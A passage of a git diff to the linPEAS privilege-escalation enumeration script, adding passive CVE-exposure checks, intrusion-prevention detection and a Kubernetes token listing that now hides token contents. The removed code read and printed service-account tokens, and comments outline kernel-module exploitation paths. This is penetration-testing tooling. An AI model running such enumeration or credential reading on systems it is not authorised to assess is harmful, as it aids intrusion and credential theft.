38"],"5124008":["5121003"],"5124012":["5121000"],"5129194":["5124012"],"5129195":["5124008"],"952068":["944275"],"953295":["928367"],"953297":["929729"],"953298":["929729"],"954430":["936181"],"954459":["933579"],"955069":["936021"],"956572":["931784","943485","956841"],"956802":["948590"],"957097":["914389"],"958215":["956390"],"958623":["950582"],"958687":["957095"],"958690":["954211"],"958869":["938464","954593"],"959426":["935839"],"960082":["948110","948111"],"960089":["948108","948109"],"960225":["935840"],"961063":["951746"],"961064":["948745"],"961260":["958215","960714"],"961371":["908519"],"961373":["951698"],"961501":["930178"],"963027":["958215","960714"],"968537":["958690"],"968816":["923689"],"969059":["920685"],"969805":["949014","957280"],"969883":["961064"],"969897":["963027"],"969947":["968537"],"970238":["933729"],"970437":["949269"],"971032":["951071"],"971108":["947742"],"971110":["947748"],"971468":["958687"],"971486":["931784"],"971633":["951698"],"971961":["917344"],"972260":["969897"],"972270":["961371"],"972554":["952068"],"973037":["969805"],"973039":["970437"],"973346":["950760"],"973354":["951066"],"973525":["973346"],"973540":["936782"],"973869":["891781"],"974112":["954600"],"974392":["911280"],"974455":["972260"],"974571":["828028"],"975560":["971633"],"975562":["971633"],"976325":["974455"],"977165":["971486"],"977914":["971557"],"978207":["976325"],"978251":["914389","957097"],"978262":["973525"],"978338":["974145"],"978542":["951066","973354"],"978695":["968816"],"979402":["936782"],"979559":["969947"],"979683":["977165"],"979906":["953297"],"979913":["953297","972593"],"980182":["978207"],"980195":["978262"],"980232":["978251"],"980436":["960225"],"981550":["973037"],"981852":["979683"],"981957":["2160329"],"981997":["975561"],"982000":["973039"],"982214":["971468"],"982381":["980182"],"982802":["970238"],"983582":["953300"],"983583":["974417"],"983587":["974291"],"983588":["974469"],"983589":["974470"]}} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/README.md b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/README.md old mode 100644 new mode 100755 index e9221b22..078be9e9 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/README.md +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/README.md @@ -2,9 +2,9 @@ ![](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/linpeas.png) -**LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.wiki](https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html)** +**LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.wiki](https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html)** -Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html)**. +Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/linux-hardening/main-system-information/linux-privilege-escalation-checklist.html)**. [![asciicast](https://asciinema.org/a/250532.png)](https://asciinema.org/a/309566) @@ -104,6 +104,20 @@ This script doesn't have any dependency. ### Recent updates +- **Oct 2026**: Added a passive nftables catchall verdict-map UAF check for CVE-2026-23111, correlating exact upstream affected/fixed kernel ranges and vendor package evidence with `nf_tables`/pipapo availability, namespace controls, and AppArmor, SELinux, seccomp, and capability context. + +- **Sep 2026**: Added a passive Android Qualcomm KGSL check for CVE-2024-23380, correlating the `/dev/kgsl-3d0` and sysfs attack surface, Qualcomm/Adreno properties, device-node access, kernel/driver details, and the July 5, 2024 platform/vendor security patch level. + +- **Sep 2026**: Added a passive Android Binder LPE check for CVE-2023-20938 and the incomplete-fix follow-up CVE-2023-21255, correlating Android/GKI 5.4 or 5.10 evidence, platform and vendor security patch levels, and current-context access to Binder devices. + +- **Sep 2026**: Added a read-only check for the Open vSwitch forwarded-SKB page-cache LPE chain (CVE-2026-80977, CVE-2026-89487, and CVE-2026-90049), correlating fixed kernel releases with OVS, ESP/XFRM, user-namespace, module-mitigation, and setuid-target prerequisites. + +- **Sep 2026**: Expanded Kubernetes container-escape enumeration with cgroup-v2-aware pod detection, non-disclosing projected-token metadata, host namespace/mount and pod-security indicators, and opt-in (`-a`/`-e`) read-only RBAC checks for privileged-pod attack chains. + +- **Sep 2026**: Added explicit detection for root-equivalent `lxd` group membership, writable LXD control sockets, and Ubuntu's `root:lxd` on-demand `lxd-installer` socket/service chain. + +- **Sep 2026**: SUID/SGID enumeration now highlights privileged files in user-writable or unusual locations, replaceable parent directories, non-root ownership, and recent changes in unusual locations. High-risk file-capability combinations now include common interpreters and DAC-bypass tools. + - **Dec 2025**: Added detection for sudo configurations that expose restic's `--password-command` helper, a common privilege escalation vector observed in real environments. - **Feb 2026**: Added a reminder that `linpeas` can be run with `-o` to execute targeted checks in long-running audits. diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/11_Dmesg.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/11_Dmesg.sh index b15a1409..1b8b76c0 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/11_Dmesg.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/11_Dmesg.sh @@ -32,7 +32,7 @@ if [ "$(command -v dmesg 2>/dev/null || echo -n '')" ] || [ "$DEBUG" ]; then print_2title "Searching Signature verification failed in dmesg" "T1082" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#dmesg-signature-verification-failed" + print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#dmesg-signature-verification-failed" (dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg" echo "" fi \ No newline at end of file diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/16_Protections.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/16_Protections.sh index 4282fc39..7c0d249c 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/16_Protections.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/16_Protections.sh @@ -1,12 +1,14 @@ # Title: System Information - Protections # ID: SY_Protections # Author: Carlos Polop -# Last Update: 07-03-2024 +# Last Update: 08-07-2026 # Description: Check for system security protections and their bypass possibilities: # - AppArmor/SELinux status and profiles # - ASLR status # - Seccomp filters # - Capabilities +# - Fail2ban/CrowdSec intrusion prevention systems (affects su/ssh brute forcing) +# - Pending reboot (running kernel/libraries may be outdated -> kernel exploits) # - Common vulnerable scenarios: # * Disabled security modules # * Weak security profiles @@ -28,10 +30,10 @@ # License: GNU GPL # Version: 1.0 # Mitre: T1518.001 -# Functions Used: echo_not_found, print_2title, print_list, warn_exec +# Functions Used: echo_no, echo_not_found, print_2title, print_list, warn_exec # Global Variables: # Initial Functions: -# Generated Global Variables: $ASLR, $hypervisorflag, $detectedvirt, $unpriv_userns_clone, $perf_event_paranoid, $mmap_min_addr, $ptrace_scope, $dmesg_restrict, $kptr_restrict, $unpriv_bpf_disabled, $protected_symlinks, $protected_hardlinks, $label, $sysctl_path, $sysctl_var, $zero_color, $nonzero_color, $sysctl_value +# Generated Global Variables: $ASLR, $hypervisorflag, $detectedvirt, $unpriv_userns_clone, $perf_event_paranoid, $mmap_min_addr, $ptrace_scope, $dmesg_restrict, $kptr_restrict, $unpriv_bpf_disabled, $protected_symlinks, $protected_hardlinks, $label, $sysctl_path, $sysctl_var, $zero_color, $nonzero_color, $sysctl_value, $f2b_jails # Fat linpeas: 0 # Small linpeas: 0 @@ -151,6 +153,38 @@ else echo_not_found "kernel config" fi +#-- SY) Fail2ban (Intrusion Prevention System) +print_list "Fail2ban present? .............. "$NC +if command -v fail2ban-client >/dev/null 2>&1 || [ -S "/var/run/fail2ban/fail2ban.sock" ] || pgrep -x fail2ban-server >/dev/null 2>&1; then + f2b_jails=$(fail2ban-client status 2>/dev/null | grep "Jail list" | sed "s/.*Jail list:[[:space:]]*//") + if [ "$f2b_jails" ]; then + echo "Yes - active, jails: $f2b_jails" | sed -${E} "s,.*,${SED_GREEN}," + else + echo "Yes - installed (could not query jails, may need root)" | sed -${E} "s,.*,${SED_GREEN}," + fi +else + echo_not_found "fail2ban" +fi + +#-- SY) CrowdSec (Intrusion Prevention System) +print_list "CrowdSec present? .............. "$NC +if command -v cscli >/dev/null 2>&1 || pgrep -x crowdsec >/dev/null 2>&1; then + echo "Yes" | sed -${E} "s,.*,${SED_GREEN}," +else + echo_not_found "crowdsec" +fi + +#-- SY) Pending reboot (updates installed but not applied yet) +print_list "Pending reboot? ................ "$NC +if [ -f "/var/run/reboot-required" ] || [ -f "/run/reboot-required" ]; then + echo "Yes - updates installed but not applied, the running kernel/libs may be outdated (check kernel exploits)" | sed -${E} "s,.*,${SED_RED}," + if [ -f "/var/run/reboot-required.pkgs" ]; then + sed "s,^, ," "/var/run/reboot-required.pkgs" 2>/dev/null + fi +else + echo_no +fi + #-- SY) Gatekeeper if [ "$MACPEAS" ]; then print_list "Gatekeeper enabled? .......... "$NC diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/17_Kernel_Modules.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/17_Kernel_Modules.sh index edad460d..796d725b 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/17_Kernel_Modules.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/17_Kernel_Modules.sh @@ -1,21 +1,24 @@ # Title: System Information - Kernel Modules # ID: SY_Kernel_Modules # Author: Carlos Polop -# Last Update: 07-03-2024 +# Last Update: 25-09-2026 # Description: Check for kernel module vulnerabilities and misconfigurations that could lead to privilege escalation: # - Loaded kernel modules with known vulnerabilities # - Kernel modules with weak permissions that could be modified # - Ability to load kernel modules as unprivileged user # - Missing kernel module signing requirements +# - CIFSwitch (CVE-2026-46243) attack-chain exposure +# - DiagSpill (CVE-2026-74469) SCTP diagnostic exposure +# - CVE-2026-53264 net/sched action UAF exposure # - Exploitation methods: # * Vulnerable modules: Use known exploits for vulnerable kernel modules # * Weak permissions: Modify kernel modules to inject malicious code # * Module loading: Load malicious kernel modules to get root access # * Common vulnerable modules: nf_tables, eBPF, overlayfs, etc. # License: GNU GPL -# Version: 1.0 -# Mitre: T1547.006 -# Functions Used: print_2title, print_3title +# Version: 1.3 +# Mitre: T1547.006,T1068 +# Functions Used: checkCIFSwitchCVE202646243, checkDiagSpillCVE202674469, checkNetSchedCVE202653264, print_2title, print_3title # Global Variables: # Initial Functions: # Generated Global Variables: @@ -24,6 +27,9 @@ echo "" print_2title "Kernel Modules Information" "T1547.006" +checkCIFSwitchCVE202646243 +checkDiagSpillCVE202674469 +checkNetSchedCVE202653264 # List loaded kernel modules if [ "$EXTRA_CHECKS" ] || [ "$DEBUG" ]; then print_3title "Loaded kernel modules" "T1547.006" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/1_Operative_system.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/1_Operative_system.sh index 57ad4a53..d8844bde 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/1_Operative_system.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/1_Operative_system.sh @@ -26,18 +26,18 @@ # License: GNU GPL # Version: 1.0 # Mitre: T1082 -# Functions Used: print_2title, print_info, warn_exec +# Functions Used: print_2title, print_info, warn_exec, linpeas_start_host_checker_lookup # Global Variables: $MACPEAS, $kernelDCW_Ubuntu_Precise_1, $kernelB, $kernelDCW_Ubuntu_Precise_2, $kernelDCW_Ubuntu_Precise_3, $kernelDCW_Ubuntu_Precise_4, $kernelDCW_Ubuntu_Precise_5, $kernelDCW_Ubuntu_Precise_6, $kernelDCW_Rhel5_1, $kernelDCW_Rhel5_2, $kernelDCW_Rhel5_3, $kernelDCW_Rhel6_1, $kernelDCW_Rhel6_2, $kernelDCW_Rhel6_3, $kernelDCW_Rhel6_4, $kernelDCW_Rhel7, $kernelDCW_Ubuntu_Trusty_1, $kernelDCW_Ubuntu_Trusty_2, $kernelDCW_Ubuntu_Trusty_3, $kernelDCW_Ubuntu_Trusty_4, $kernelDCW_Ubuntu_Xenial -# Initial Functions: +# Initial Functions: linpeas_start_host_checker_lookup # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 print_2title "Operative system" "T1082" -print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits" +print_info "https://book.hacktricks.wiki/en/linux-hardening/main-system-information/kernel-vulnerability-assessment.html" (cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED}," warn_exec lsb_release -a 2>/dev/null if [ "$MACPEAS" ]; then warn_exec system_profiler SPSoftwareDataType fi -echo "" \ No newline at end of file +echo "" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/21_Online_package_vulnerabilities.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/21_Online_package_vulnerabilities.sh new file mode 100644 index 00000000..6c45d531 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/21_Online_package_vulnerabilities.sh @@ -0,0 +1,21 @@ +# Title: System Information - Package Vulnerabilities +# ID: SY_Online_package_vulnerabilities +# Author: Carlos Polop +# Last Update: 29-06-2026 +# Description: Print package vulnerabilities returned by the optional HackTricks online package lookup. +# License: GNU GPL +# Version: 1.0 +# Mitre: T1082 +# Functions Used: print_2title, print_info, linpeas_print_package_vulnerabilities +# Global Variables: $ONLINE_VULN_CHECKS, $NOT_CHECK_EXTERNAL_HOSTNAME +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + +if [ "$ONLINE_VULN_CHECKS" ] && [ -z "$NOT_CHECK_EXTERNAL_HOSTNAME" ]; then + print_2title "Package Vulnerabilities" "T1082" + print_info "This uses the optional HackTricks online lookup enabled with -V or -a. Output is capped at 50 vulnerable packages." + linpeas_print_package_vulnerabilities + echo "" +fi diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/22_Open_vSwitch_Page_Cache.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/22_Open_vSwitch_Page_Cache.sh new file mode 100644 index 00000000..5e1983df --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/22_Open_vSwitch_Page_Cache.sh @@ -0,0 +1,19 @@ +# Title: System Information - Open vSwitch Forwarded-SKB Page-Cache LPE +# ID: SY_Open_vSwitch_Page_Cache +# Author: HT Bot +# Last Update: 27-09-2026 +# Description: Check the non-invasive prerequisites for the Open vSwitch forwarded-SKB marker-stripping page-cache LPE tracked as CVE-2026-80977, CVE-2026-89487, and CVE-2026-90049. +# Description: Correlates upstream fixed kernel releases with OVS and ESP/XFRM reachability, user-namespace controls, module hard-disable rules, and common readable root-owned setuid targets. It never autoloads modules or creates namespaces. +# License: GNU GPL +# Version: 1.0 +# Mitre: T1068 +# Functions Used: checkOVSPageCacheCVE2026 +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +checkOVSPageCacheCVE2026 +echo "" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/23_Android_Binder_CVE_2023_20938.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/23_Android_Binder_CVE_2023_20938.sh new file mode 100644 index 00000000..5971e9ce --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/23_Android_Binder_CVE_2023_20938.sh @@ -0,0 +1,18 @@ +# Title: System Information - Android Binder LPE (CVE-2023-20938 / CVE-2023-21255) +# ID: SY_Android_Binder_CVE_2023_20938 +# Author: HT Bot +# Last Update: 29-09-2026 +# Description: Passively check Android GKI 5.4/5.10 systems for the Binder use-after-free fixed by the February and July 2023 Android security bulletins. +# Description: Reports Android build and vendor security patch levels, GKI evidence, and Binder-device access without sending ioctls or modifying the system. +# License: GNU GPL +# Version: 1.0 +# Mitre: T1068 +# Functions Used: checkAndroidBinderCVE202320938 +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + +checkAndroidBinderCVE202320938 +echo "" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/24_Android_KGSL_CVE_2024_23380.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/24_Android_KGSL_CVE_2024_23380.sh new file mode 100644 index 00000000..b77da802 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/24_Android_KGSL_CVE_2024_23380.sh @@ -0,0 +1,18 @@ +# Title: System Information - Android Qualcomm KGSL LPE (CVE-2024-23380) +# ID: SY_Android_KGSL_CVE_2024_23380 +# Author: HT Bot +# Last Update: 29-09-2026 +# Description: Passively check Android systems for the Qualcomm KGSL VBO use-after-free fixed by the July 2024 Android security bulletin. +# Description: Correlates Android and Qualcomm/Adreno evidence, the KGSL device and sysfs attack surface, device-node access, driver information, and platform/vendor security patch levels. It never opens the GPU device or sends ioctls. +# License: GNU GPL +# Version: 1.0 +# Mitre: T1068 +# Functions Used: checkAndroidKGSLCVE202423380 +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + +checkAndroidKGSLCVE202423380 +echo "" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/25_NfTables_CVE_2026_23111.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/25_NfTables_CVE_2026_23111.sh new file mode 100644 index 00000000..cdeae7b2 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/25_NfTables_CVE_2026_23111.sh @@ -0,0 +1,19 @@ +# Title: System Information - nftables Catchall Map UAF (CVE-2026-23111) +# ID: SY_NfTables_CVE_2026_23111 +# Author: HT Bot +# Last Update: 01-10-2026 +# Description: Passively check for the nftables catchall verdict-map transaction rollback use-after-free tracked as CVE-2026-23111. +# Description: Correlates upstream and vendor kernel fix evidence with nf_tables/pipapo availability, user and network namespace controls, and the current AppArmor, SELinux, seccomp, and capability context. It never creates a namespace, loads a module, or changes nftables state. +# License: GNU GPL +# Version: 1.0 +# Mitre: T1068 +# Functions Used: checkNfTablesCVE202623111 +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +checkNfTablesCVE202623111 +echo "" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/2_Sudo_version.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/2_Sudo_version.sh index 5a1d8650..47eddfdf 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/2_Sudo_version.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/2_Sudo_version.sh @@ -30,7 +30,7 @@ print_2title "Sudo version" "T1548.003,T1068" if [ "$(command -v sudo 2>/dev/null || echo -n '')" ]; then -print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version" +print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#sudo-version" sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED}," else echo_not_found "sudo" fi diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/3_USBCreator.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/3_USBCreator.sh index 6623c032..558f97e3 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/3_USBCreator.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/3_USBCreator.sh @@ -30,7 +30,7 @@ if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then print_2title "USBCreator" "T1548.003,T1068" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.html" + print_info "https://book.hacktricks.wiki/en/linux-hardening/processes-crontab-systemd-dbus/d-bus-enumeration-and-command-injection-privilege-escalation.html" pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+") if [ -z "$pc_version" ]; then diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/4_Path.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/4_Path.sh index 948c94f0..13f5f24c 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/4_Path.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/4_Path.sh @@ -32,7 +32,7 @@ print_2title "PATH" "T1574.007" -print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses" +print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#writable-path-abuses" if ! [ "$IAMROOT" ]; then echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" fi diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/7_Mounts.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/7_Mounts.sh index a096d292..407239db 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/7_Mounts.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/1_system_information/7_Mounts.sh @@ -1,8 +1,8 @@ # Title: System Information - Mounts # ID: SY_Mounts # Author: Carlos Polop -# Last Update: 07-03-2024 -# Description: Check for mount point misconfigurations that could lead to privilege escalation: +# Last Update: 07-09-2026 +# Description: Check for mount point misconfigurations that could lead to privilege escalation, udisks2 CVE-2026-7867 exposure, and XFSTango CVE-2026-80530 exposure: # - Unmounted filesystems # - Mount point permissions # - Mount options @@ -24,16 +24,21 @@ # - Mount option exploitation # - Shared mount abuse # License: GNU GPL -# Version: 1.0 -# Mitre: T1082,T1120 -# Functions Used: print_2title, print_info -# Global Variables: $DEBUG, $mountG, $mountpermsB, $mountpermsG, $notmounted, $Wfolders, $mounted +# Version: 1.2 +# Mitre: T1068,T1082,T1120 +# Functions Used: checkUDisksCVE20267867, checkXFSTangoCVE202680530, print_2title, print_info +# Global Variables: $DEBUG, $SEARCH_IN_FOLDER, $mountG, $mountpermsB, $mountpermsG, $notmounted, $Wfolders, $mounted # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 +if ! [ "$SEARCH_IN_FOLDER" ]; then + checkUDisksCVE20267867 + checkXFSTangoCVE202680530 +fi + if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then print_2title "Unmounted file-system?" "T1082,T1120" print_info "Check if you can mount umounted devices" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/2_List_mounted_tokens.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/2_List_mounted_tokens.sh index 2beb2700..8d0618f3 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/2_List_mounted_tokens.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/2_container/2_List_mounted_tokens.sh @@ -1,34 +1,42 @@ # Title: Container - List mounted tokens # ID: CT_List_mounted_tokens -# Author: Carlos Polop -# Last Update: 22-08-2023 -# Description: List tokens mounted in the system if any +# Author: Carlos Polop, HT Bot +# Last Update: 25-09-2026 +# Description: Report mounted Kubernetes service-account credentials without disclosing bearer-token contents. # License: GNU GPL # Version: 1.0 # Mitre: T1528,T1552.007 # Functions Used: print_2title, print_info # Global Variables: # Initial Functions: -# Generated Global Variables: $ALREADY_TOKENS, $TEMP_TOKEN +# Generated Global Variables: $k8s_mounted_credential_found, $k8s_mounted_sa_dir # Fat linpeas: 0 # Small linpeas: 1 +k8s_mounted_credential_found="" +for k8s_mounted_sa_dir in \ + /var/run/secrets/kubernetes.io/serviceaccount \ + /run/secrets/kubernetes.io/serviceaccount \ + /secrets/kubernetes.io/serviceaccount; do + if [ -d "$k8s_mounted_sa_dir" ] && { [ -e "$k8s_mounted_sa_dir/token" ] || [ -e "$k8s_mounted_sa_dir/namespace" ]; }; then + if [ -z "$k8s_mounted_credential_found" ]; then + print_2title "Mounted Kubernetes service-account credentials" "T1528,T1552.007" + print_info "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.html" + k8s_mounted_credential_found="1" + fi -if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then - print_2title "Listing mounted tokens" "T1528,T1552.007" - print_info "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.html" - ALREADY_TOKENS="IinItialVaaluE" - for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do - TEMP_TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/')) - if ! [ $(echo $TEMP_TOKEN | grep -E $ALREADY_TOKENS) ]; then - ALREADY_TOKENS="$ALREADY_TOKENS|$TEMP_TOKEN" - echo "Directory: $i" - echo "Namespace: $(cat $i)" - echo "" - echo $TEMP_TOKEN - echo "================================================================================" - echo "" - fi - done -fi - + echo "Directory: $k8s_mounted_sa_dir" + if [ -r "$k8s_mounted_sa_dir/namespace" ]; then + echo "Namespace: $(cat "$k8s_mounted_sa_dir/namespace" 2>/dev/null)" + fi + if [ -r "$k8s_mounted_sa_dir/token" ]; then + echo "Token: present and readable (contents suppressed)" | sed -${E} "s,present and readable,${SED_RED_YELLOW}," + elif [ -e "$k8s_mounted_sa_dir/token" ]; then + echo "Token: present but not readable" + fi + if [ -r "$k8s_mounted_sa_dir/ca.crt" ]; then + echo "Cluster CA: present and readable" + fi + echo "" + fi +done diff --git a/Offensive Security 